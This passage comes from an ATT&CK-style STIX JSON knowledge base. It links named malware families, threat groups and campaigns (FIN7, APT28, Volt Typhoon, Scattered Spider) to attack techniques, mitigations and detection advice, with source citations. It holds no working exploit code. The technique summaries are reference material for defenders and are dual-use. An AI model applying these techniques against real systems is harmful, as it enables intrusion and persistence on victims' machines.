can use GetLocalTime and GetSystemTime to collect system time.(Citation: CISA MAR-10292089-1.v2 TAIDOOR August 2021)","relationship_type":"uses","source_ref":"malware--b143dfa4-e944-43ff-8429-bfffc308c517","target_ref":"attack-pattern--f3c544dc-673c-4ef3-accb-53229f1ae077","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--08d8941b-e4be-44f1-8a3f-765b8f5d1196","type":"relationship","created":"2022-02-02T21:05:49.036Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"source_name":"Threatpost Lizar May 2021","url":"https://threatpost.com/fin7-backdoor-ethical-hacking-tool/166194/","description":"Seals, T. (2021, May 14). FIN7 Backdoor Masquerades as Ethical Hacking Tool. Retrieved February 2, 2022."},{"source_name":"BiZone Lizar May 2021","url":"https://bi-zone.medium.com/from-pentest-to-apt-attack-cybercriminal-group-fin7-disguises-its-malware-as-an-ethical-hackers-c23c9a75e319","description":"BI.ZONE Cyber Threats Research Team. (2021, May 13). From pentest to APT attack: cybercriminal group FIN7 disguises its malware as an ethical hacker’s toolkit. Retrieved February 2, 2022."}],"modified":"2022-02-04T22:03:05.892Z","description":"[Lizar](https://attack.mitre.org/software/S0681) has a command to open the command-line on the infected system.(Citation: Threatpost Lizar May 2021)(Citation: BiZone Lizar May 2021) ","relationship_type":"uses","source_ref":"malware--f74a5069-015d-4404-83ad-5ca01056c0dc","target_ref":"attack-pattern--d1fcf083-a721-4223-aedf-bf8960798d62","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--08d91d3c-b7c7-4cbc-a4eb-29edd3be3e3a","type":"relationship","created":"2017-05-31T21:33:27.048Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"url":"https://www2.fireeye.com/rs/fireye/images/rpt-apt30.pdf","description":"FireEye Labs. (2015, April). APT30 AND THE MECHANICS OF A LONG-RUNNING CYBER ESPIONAGE OPERATION. Retrieved May 1, 2015.","source_name":"FireEye APT30"}],"modified":"2019-03-22T18:44:28.612Z","description":"(Citation: FireEye APT30)","relationship_type":"uses","source_ref":"intrusion-set--f047ee18-7985-4946-8bfb-4ed754d3a0dd","target_ref":"malware--b1de6916-7a22-4460-8d26-6b5483ffaa2a","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--08d9bd35-4d07-42f0-b462-c9c8b5a9dbab","type":"relationship","created":"2019-06-24T13:13:57.243Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"description":"Sanmillan, I. (2019, May 29). HiddenWasp Malware Stings Targeted Linux Systems. Retrieved June 24, 2019.","url":"https://www.intezer.com/blog-hiddenwasp-malware-targeting-linux-systems/","source_name":"Intezer HiddenWasp Map 2019"}],"modified":"2020-02-11T16:20:25.117Z","description":"[HiddenWasp](https://attack.mitre.org/software/S0394) creates a user account as a means to provide initial persistence to the compromised machine.(Citation: Intezer HiddenWasp Map 2019)","relationship_type":"uses","source_ref":"malware--fc774af4-533b-4724-96d2-ac1026316794","target_ref":"attack-pattern--635cbe30-392d-4e27-978e-66774357c762","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--08dd36a7-dee0-4f25-b3dc-d030c32151f5","type":"relationship","created":"2020-02-05T19:34:05.079Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","modified":"2021-02-09T15:58:04.966Z","description":"Enable application control solutions such as AppLocker and/or Device Guard to block the loading of malicious SIP DLLs.","relationship_type":"mitigates","source_ref":"course-of-action--47e0e9fe-96ce-4f65-8bb1-8be1feacb5db","target_ref":"attack-pattern--543fceb5-cb92-40cb-aacf-6913d4db58bc","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--08dea09a-e7f5-4e6d-a142-73548f6f1498","type":"relationship","created":"2019-06-13T16:53:10.338Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","modified":"2021-04-27T19:56:54.621Z","description":"Only install browser extensions from trusted sources that can be verified. Browser extensions for some browsers can be controlled through Group Policy. Change settings to prevent the browser from installing extensions without sufficient permissions.","relationship_type":"mitigates","source_ref":"course-of-action--23843cff-f7b9-4659-a7b7-713ef347f547","target_ref":"attack-pattern--389735f1-f21c-4208-b8f0-f8031e7169b8","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"type":"relationship","id":"relationship--08e05216-9133-4056-bbc9-b91ea0a7c6f5","created":"2021-09-14T03:13:16.466Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","revoked":false,"external_references":[{"source_name":"Shlayer jamf gatekeeper bypass 2021","description":"Jaron Bradley. (2021, April 26). Shlayer malware abusing Gatekeeper bypass on macOS. Retrieved September 22, 2021.","url":"https://www.jamf.com/blog/shlayer-malware-abusing-gatekeeper-bypass-on-macos/"},{"source_name":"sentinelone shlayer to zshlayer","description":"Phil Stokes. (2020, September 8). Coming Out of Your Shell: From Shlayer to ZShlayer. Retrieved September 13, 2021.","url":"https://www.sentinelone.com/blog/coming-out-of-your-shell-from-shlayer-to-zshlayer/"},{"source_name":"20 macOS Common Tools and Techniques","description":"Phil Stokes. (2021, February 16). 20 Common Tools & Techniques Used by macOS Threat Actors & Malware. Retrieved August 23, 2021.","url":"https://labs.sentinelone.com/20-common-tools-techniques-used-by-macos-threat-actors-malware/"}],"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"modified":"2022-10-18T20:46:31.752Z","description":"[OSX/Shlayer](https://attack.mitre.org/software/S0402) has used the mktemp utility to make random and unique filenames for payloads, such as export tmpDir=\"$(mktemp -d /tmp/XXXXXXXXXXXX)\" or mktemp -t Installer.(Citation: sentinelone shlayer to zshlayer)(Citation: 20 macOS Common Tools and Techniques)(Citation: Shlayer jamf gatekeeper bypass 2021)","relationship_type":"uses","source_ref":"malware--f1314e75-ada8-49f4-b281-b1fb8b48f2a7","target_ref":"attack-pattern--22905430-4901-4c2a-84f6-98243cb173f8","x_mitre_deprecated":false,"x_mitre_version":"1.0","x_mitre_attack_spec_version":"2.1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--08e172e1-561d-4bb9-a1a5-259131686547","type":"relationship","created":"2021-10-01T17:24:01.838Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"source_name":"Unit 42 KerrDown February 2019","url":"https://unit42.paloaltonetworks.com/tracking-oceanlotus-new-downloader-kerrdown/","description":"Ray, V. and Hayashi, K. (2019, February 1). Tracking OceanLotus’ new Downloader, KerrDown. Retrieved October 1, 2021."}],"modified":"2021-10-01T17:24:01.838Z","description":"[Kerrdown](https://attack.mitre.org/software/S0585) can use a VBS base64 decoder function published by Motobit.(Citation: Unit 42 KerrDown February 2019)","relationship_type":"uses","source_ref":"malware--8c1d01ff-fdc0-4586-99bd-c248e0761af5","target_ref":"attack-pattern--dfd7cc1d-e1d8-4394-a198-97c4cab8aa67","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--08e70a50-f4fe-4856-9bd1-a7098f802fca","type":"relationship","created":"2021-09-23T12:44:50.358Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"source_name":"CrowdStrike Carbon Spider August 2021","url":"https://www.crowdstrike.com/blog/carbon-spider-embraces-big-game-hunting-part-1/","description":"Loui, E. and Reynolds, J. (2021, August 30). CARBON SPIDER Embraces Big Game Hunting, Part 1. Retrieved September 20, 2021."}],"modified":"2021-09-23T12:44:50.358Z","description":"[FIN7](https://attack.mitre.org/groups/G0046) has harvested valid administrative credentials for lateral movement.(Citation: CrowdStrike Carbon Spider August 2021)","relationship_type":"uses","source_ref":"intrusion-set--3753cc21-2dae-4dfb-8481-d004e74502cc","target_ref":"attack-pattern--b17a1a56-e99c-403c-8948-561df0cffe81","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"type":"relationship","id":"relationship--08f2da07-4e03-46bd-a3d9-c79ef7dd9a45","created":"2023-07-12T20:35:24.120Z","revoked":false,"external_references":[{"source_name":"Crowdstrike TELCO BPO Campaign December 2022","description":"Parisi, T. (2022, December 2). Not a SIMulation: CrowdStrike Investigations Reveal Intrusion Campaign Targeting Telco and BPO Companies. Retrieved June 30, 2023.","url":"https://www.crowdstrike.com/blog/analysis-of-intrusion-campaign-targeting-telecom-and-bpo-companies/"}],"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"modified":"2023-07-12T20:35:24.120Z","description":"During [C0027](https://attack.mitre.org/campaigns/C0027), [Scattered Spider](https://attack.mitre.org/groups/G1015) downloaded tools from sites including file.io, GitHub, and paste.ee.(Citation: Crowdstrike TELCO BPO Campaign December 2022)","relationship_type":"uses","source_ref":"campaign--df74f7ad-b10d-431c-9f1d-a2bc18dadefa","target_ref":"attack-pattern--830c9528-df21-472c-8c14-a036bf17d665","x_mitre_deprecated":false,"x_mitre_version":"0.1","x_mitre_attack_spec_version":"3.1.0","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--08f4dfcb-c394-470d-851f-045bbc38cdb5","type":"relationship","created":"2020-06-01T14:41:54.666Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"source_name":"Proofpoint TA505 October 2019","url":"https://www.proofpoint.com/us/threat-insight/post/ta505-distributes-new-sdbbot-remote-access-trojan-get2-downloader","description":"Schwarz, D. et al. (2019, October 16). TA505 Distributes New SDBbot Remote Access Trojan with Get2 Downloader. Retrieved May 29, 2020."}],"modified":"2020-06-01T14:41:54.666Z","description":"[SDBbot](https://attack.mitre.org/software/S0461) has the ability to clean up and remove data structures from a compromised host.(Citation: Proofpoint TA505 October 2019)","relationship_type":"uses","source_ref":"malware--92b03a94-7147-4952-9d5a-b4d24da7487c","target_ref":"attack-pattern--799ace7f-e227-4411-baa0-8868704f2a69","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--08f53e1a-7326-48ed-ac0e-2b0af2d93985","type":"relationship","created":"2020-01-24T15:51:52.476Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"url":"https://docs.microsoft.com/windows-server/networking/windows-time-service/windows-time-service-tools-and-settings","description":"Mathers, B. (2017, May 31). Windows Time Service Tools and Settings. Retrieved March 26, 2018.","source_name":"Microsoft W32Time May 2017"}],"modified":"2020-03-25T15:24:26.686Z","description":"Consider using Group Policy to configure and block modifications to W32Time parameters in the Registry. (Citation: Microsoft W32Time May 2017)","relationship_type":"mitigates","source_ref":"course-of-action--a2c36a5d-4058-475e-8e77-fff75e50d3b9","target_ref":"attack-pattern--61afc315-860c-4364-825d-0d62b2e91edc","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--08f7bb2b-38b3-458e-8852-abb296c9980a","type":"relationship","created":"2022-03-30T14:26:51.834Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","modified":"2022-03-30T14:26:51.834Z","description":"Monitor for any attempts to enable scripts running on a system would be considered suspicious. If scripts are not commonly used on a system, but enabled, scripts running out of cycle from patching or other administrator functions are suspicious. Scripts should be captured from the file system when possible to determine their actions and intent. ","source_ref":"x-mitre-data-component--9f387817-df83-432a-b56b-a8fb7f71eedd","target_ref":"attack-pattern--41868330-6ee2-4d0f-b743-9f2294c3c9b6","relationship_type":"detects","x_mitre_attack_spec_version":"2.1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--08fc37d1-2314-4661-abdb-1bf0472b2bf1","type":"relationship","created":"2020-01-24T17:42:23.793Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","modified":"2020-01-24T17:42:23.793Z","relationship_type":"subtechnique-of","source_ref":"attack-pattern--a1b52199-c8c5-438a-9ded-656f1d0888c6","target_ref":"attack-pattern--1ecb2399-e8ba-4f6b-8ba7-5c27d49405cf","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--08fccacb-803c-4d00-baa7-ed6af83660ae","type":"relationship","created":"2019-07-08T15:24:25.014Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"source_name":"Symantec Waterbug Jun 2019","url":"https://www.symantec.com/blogs/threat-intelligence/waterbug-espionage-governments","description":"Symantec DeepSight Adversary Intelligence Team. (2019, June 20). Waterbug: Espionage Group Rolls Out Brand-New Toolset in Attacks Against Governments. Retrieved July 8, 2019."}],"modified":"2019-07-14T21:04:45.841Z","description":"(Citation: Symantec Waterbug Jun 2019)","relationship_type":"uses","source_ref":"intrusion-set--7a19ecb1-3c65-4de3-a230-993516aed6a6","target_ref":"tool--ff6caf67-ea1f-4895-b80e-4bb0fc31c6db","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--08fd666f-684f-4e78-876a-48cb92572c3a","type":"relationship","created":"2018-04-18T17:59:24.739Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"source_name":"Talos Seduploader Oct 2017","url":"https://blog.talosintelligence.com/2017/10/cyber-conflict-decoy-document.html","description":"Mercer, W., et al. (2017, October 22). \"Cyber Conflict\" Decoy Document Used in Real Cyber Conflict. Retrieved November 2, 2018."},{"source_name":"Talos Seduploader Oct 2017","url":"https://blog.talosintelligence.com/2017/10/cyber-conflict-decoy-document.html","description":"Mercer, W., et al. (2017, October 22). \"Cyber Conflict\" Decoy Document Used in Real Cyber Conflict. Retrieved November 2, 2018."}],"modified":"2019-12-20T14:26:00.472Z","description":"[APT28](https://attack.mitre.org/groups/G0007) has saved files with hidden file attributes.(Citation: Talos Seduploader Oct 2017)(Citation: Talos Seduploader Oct 2017)","relationship_type":"uses","source_ref":"intrusion-set--bef4c620-0787-42a8-a96d-b7eb6e85917c","target_ref":"attack-pattern--ec8fc7e2-b356-455c-8db5-2e37be158e7d","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--0907e99a-5ea4-4180-8af4-003121dbc3ca","type":"relationship","created":"2022-03-30T14:26:51.859Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","modified":"2022-03-30T14:26:51.859Z","description":"Monitor for newly constructed files that may abuse Microsoft Office templates to obtain persistence on a compromised system.","source_ref":"x-mitre-data-component--2b3bfe19-d59a-460d-93bb-2f546adc2d2c","target_ref":"attack-pattern--79a47ad0-fc3b-4821-9f01-a026b1ddba21","relationship_type":"detects","x_mitre_attack_spec_version":"2.1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--090813dc-b370-42e1-a211-4d9e3247968a","type":"relationship","created":"2017-12-14T16:46:06.044Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"source_name":"Scarlet Mimic Jan 2016","description":"Falcone, R. and Miller-Osborn, J.. (2016, January 24). Scarlet Mimic: Years-Long Espionage Campaign Targets Minority Activists. Retrieved February 10, 2016.","url":"http://researchcenter.paloaltonetworks.com/2016/01/scarlet-mimic-years-long-espionage-targets-minority-activists/"}],"modified":"2020-03-17T01:11:58.611Z","description":"Some variants of [FakeM](https://attack.mitre.org/software/S0076) use SSL to communicate with C2 servers.(Citation: Scarlet Mimic Jan 2016)","relationship_type":"uses","source_ref":"malware--bb3c1098-d654-4620-bf40-694386d28921","target_ref":"attack-pattern--c21d5a77-d422-4a69-acd7-2c53c1faa34b","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"type":"relationship","id":"relationship--09082234-c658-45c4-9cd0-d4984b6bdf85","created":"2024-03-29T18:50:06.240Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","revoked":false,"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"modified":"2024-03-29T19:20:38.341Z","description":"Use application control to prevent execution of `AutoIt3.exe`, `AutoHotkey.exe`, and other related features that may not be required for a given system or network to prevent potential misuse by adversaries.","relationship_type":"mitigates","source_ref":"course-of-action--47e0e9fe-96ce-4f65-8bb1-8be1feacb5db","target_ref":"attack-pattern--3a32740a-11b0-4bcf-b0a9-3abd0f6d3cd5","x_mitre_deprecated":false,"x_mitre_version":"0.1","x_mitre_attack_spec_version":"3.2.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--090866bb-20be-4955-84f0-e581b2d5890a","type":"relationship","created":"2022-03-30T14:26:51.869Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","modified":"2022-03-30T14:26:51.869Z","description":"Since a shortcut's target path likely will not change, modifications to shortcut files that do not correlate with known software changes, patches, removal, etc., may be suspicious. Analysis should attempt to relate shortcut file change events to other potentially suspicious events based on known adversary behavior such as process launches of unknown executables that make network connections.","source_ref":"x-mitre-data-component--84572de3-9583-4c73-aabd-06ea88123dd8","target_ref":"attack-pattern--4ab929c6-ee2d-4fb5-aab4-b14be2ed7179","relationship_type":"detects","x_mitre_attack_spec_version":"2.1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--0908b4ce-fcfc-4307-a887-70fc8c27da3a","type":"relationship","created":"2018-10-17T00:14:20.652Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"url":"https://objective-see.com/blog/blog_0x25.html","description":"Patrick Wardle. (n.d.). Mac Malware of 2017. Retrieved September 21, 2018.","source_name":"objsee mac malware 2017"}],"modified":"2019-06-24T19:03:52.713Z","description":"[Proton](https://attack.mitre.org/software/S0279) prompts users for their credentials.(Citation: objsee mac malware 2017)","relationship_type":"uses","source_ref":"malware--c541efb4-e7b1-4ad6-9da8-b4e113f5dd42","target_ref":"attack-pattern--a2029942-0a85-4947-b23c-ca434698171d","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--090a553a-b863-4214-aa3b-cf8ea7ba2d68","type":"relationship","created":"2017-12-14T16:46:06.044Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"source_name":"ESET Sednit Part 2","description":"ESET. (2016, October). En Route with Sednit - Part 2: Observing the Comings and Goings. Retrieved November 21, 2016.","url":"http://www.welivesecurity.com/wp-content/uploads/2016/10/eset-sednit-part-2.pdf"},{"source_name":"Bitdefender APT28 Dec 2015","description":"Bitdefender. (2015, December). APT28 Under the Scope. Retrieved February 23, 2017.","url":"https://download.bitdefender.com/resources/media/materials/white-papers/en/Bitdefender_In-depth_analysis_of_APT28%E2%80%93The_Political_Cyber-Espionage.pdf"}],"modified":"2020-03-16T15:53:20.493Z","description":"[ADVSTORESHELL](https://attack.mitre.org/software/S0045) can run [Systeminfo](https://attack.mitre.org/software/S0096) to gather information about the victim.(Citation: ESET Sednit Part 2)(Citation: Bitdefender APT28 Dec 2015)","relationship_type":"uses","source_ref":"malware--fb575479-14ef-41e9-bfab-0b7cf10bec73","target_ref":"attack-pattern--354a7f88-63fb-41b5-a801-ce3b377b36f1","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--090c11ed-8235-4c05-b553-749ee6497b0a","type":"relationship","created":"2019-07-19T16:49:44.829Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"source_name":"Cybereason Soft Cell June 2019","url":"https://www.cybereason.com/blog/operation-soft-cell-a-worldwide-campaign-against-telecommunications-providers","description":"Cybereason Nocturnus. (2019, June 25). Operation Soft Cell: A Worldwide Campaign Against Telecommunications Providers. Retrieved July 18, 2019."}],"modified":"2019-07-22T15:49:29.326Z","description":"(Citation: Cybereason Soft Cell June 2019)","relationship_type":"uses","source_ref":"intrusion-set--06a11b7e-2a36-47fe-8d3e-82c265df3258","target_ref":"tool--b77b563c-34bb-4fb8-86a3-3694338f7b47","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"type":"relationship","id":"relationship--09140332-07f8-4afe-84bd-be7067bad810","created":"2023-02-09T21:14:18.793Z","revoked":false,"external_references":[{"source_name":"Palo Alto Brute Ratel July 2022","description":"Harbison, M. and Renals, P. (2022, July 5). When Pentest Tools Go Brutal: Red-Teaming Tool Being Abused by Malicious Actors. Retrieved February 1, 2023.","url":"https://unit42.paloaltonetworks.com/brute-ratel-c4-tool/"}],"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"modified":"2023-02-09T21:14:18.793Z","description":"[Brute Ratel C4](https://attack.mitre.org/software/S1063) has loaded a malicious DLL by spoofing the name of the legitimate Version.DLL and placing it in the same folder as the digitally-signed Microsoft binary OneDriveUpdater.exe.(Citation: Palo Alto Brute Ratel July 2022)","relationship_type":"uses","source_ref":"tool--75d8b521-6b6a-42ff-8af3-d97e20ce12a5","target_ref":"attack-pattern--e64c62cf-9cd7-4a14-94ec-cdaac43ab44b","x_mitre_deprecated":false,"x_mitre_version":"0.1","x_mitre_attack_spec_version":"3.1.0","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--09237e32-a423-4ce3-bb15-4e47848ee7f7","type":"relationship","created":"2021-04-12T16:09:30.772Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"source_name":"BlackBerry Bahamut","url":"https://www.blackberry.com/us/en/pdfviewer?file=/content/dam/blackberry-com/asset/enterprise/pdf/direct/report-spark-bahamut.pdf","description":"The BlackBerry Research & Intelligence Team. (2020, October). BAHAMUT: Hack-for-Hire Masters of Phishing, Fake News, and Fake Apps. Retrieved February 8, 2021."}],"modified":"2021-05-24T13:16:56.593Z","description":"[Windshift](https://attack.mitre.org/groups/G0112) has used malware to enumerate active processes.(Citation: BlackBerry Bahamut)","relationship_type":"uses","source_ref":"intrusion-set--afec6dc3-a18e-4b62-b1a4-5510e1a498d1","target_ref":"attack-pattern--8f4a33ec-8b1f-4b80-a2f6-642b2e479580","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"type":"relationship","id":"relationship--0924ca96-c26b-4bd1-8c50-d3c1a9e1e25b","created":"2023-06-14T21:01:14.745Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","revoked":false,"external_references":[{"source_name":"RotaJakiro 2021 netlab360 analysis","description":" Alex Turing, Hui Wang. (2021, April 28). RotaJakiro: A long live secret backdoor with 0 VT detection. Retrieved June 14, 2023.","url":"https://blog.netlab.360.com/stealth_rotajakiro_backdoor_en/"}],"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"modified":"2023-10-14T08:28:49.391Z","description":"[RotaJakiro](https://attack.mitre.org/software/S1078) uses the AES algorithm, bit shifts in a function called `rotate`, and an XOR cipher to decrypt resources required for persistence, process guarding, and file locking. It also performs this same function on encrypted stack strings and the `head` and `key` sections in the network packet structure used for C2 communications.(Citation: RotaJakiro 2021 netlab360 analysis)","relationship_type":"uses","source_ref":"malware--08e844a8-371f-4fe3-9d1f-e056e64a7fde","target_ref":"attack-pattern--3ccef7ae-cb5e-48f6-8302-897105fbf55c","x_mitre_deprecated":false,"x_mitre_version":"0.1","x_mitre_attack_spec_version":"3.2.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--09254353-5452-4af7-8e7b-f297eff42a7f","type":"relationship","created":"2021-06-22T13:54:15.708Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"source_name":"Securelist APT10 March 2021","url":"https://securelist.com/apt10-sophisticated-multi-layered-loader-ecipekac-discovered-in-a41apt-campaign/101519/","description":"GREAT. (2021, March 30). APT10: sophisticated multi-layered loader Ecipekac discovered in A41APT campaign. Retrieved June 17, 2021."}],"modified":"2021-06-22T13:54:15.708Z","description":"[SodaMaster](https://attack.mitre.org/software/S0627) can use RegOpenKeyW to access the Registry.(Citation: Securelist APT10 March 2021)","relationship_type":"uses","source_ref":"malware--94d6d788-07bb-4dcc-b62f-e02626b00108","target_ref":"attack-pattern--391d824f-0ef1-47a0-b0ee-c59a75e27670","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--09254382-c7cd-4340-97c2-d8ecda757e59","type":"relationship","created":"2020-02-20T14:34:08.740Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","modified":"2020-02-20T14:34:08.740Z","relationship_type":"subtechnique-of","source_ref":"attack-pattern--0cfe31a7-81fc-472c-bc45-e2808d1066a3","target_ref":"attack-pattern--5909f20f-3c39-4795-be06-ef1ea40d350b","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"type":"relationship","id":"relationship--0925dc87-1a47-4248-ad5b-316f5a1ce22a","created":"2024-05-21T17:15:57.994Z","revoked":false,"external_references":[{"source_name":"CISA AA24-038A PRC Critical Infrastructure February 2024","description":"CISA et al.. (2024, February 7). PRC State-Sponsored Actors Compromise and Maintain Persistent Access to U.S. Critical Infrastructure. Retrieved May 15, 2024.","url":"https://www.cisa.gov/sites/default/files/2024-03/aa24-038a_csa_prc_state_sponsored_actors_compromise_us_critical_infrastructure_3.pdf"}],"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"modified":"2024-05-21T17:15:57.994Z","description":"[Volt Typhoon](https://attack.mitre.org/groups/G1017) has enumerated directories containing vulnerability testing and cyber related content and facilities data such as construction drawings.(Citation: CISA AA24-038A PRC Critical Infrastructure February 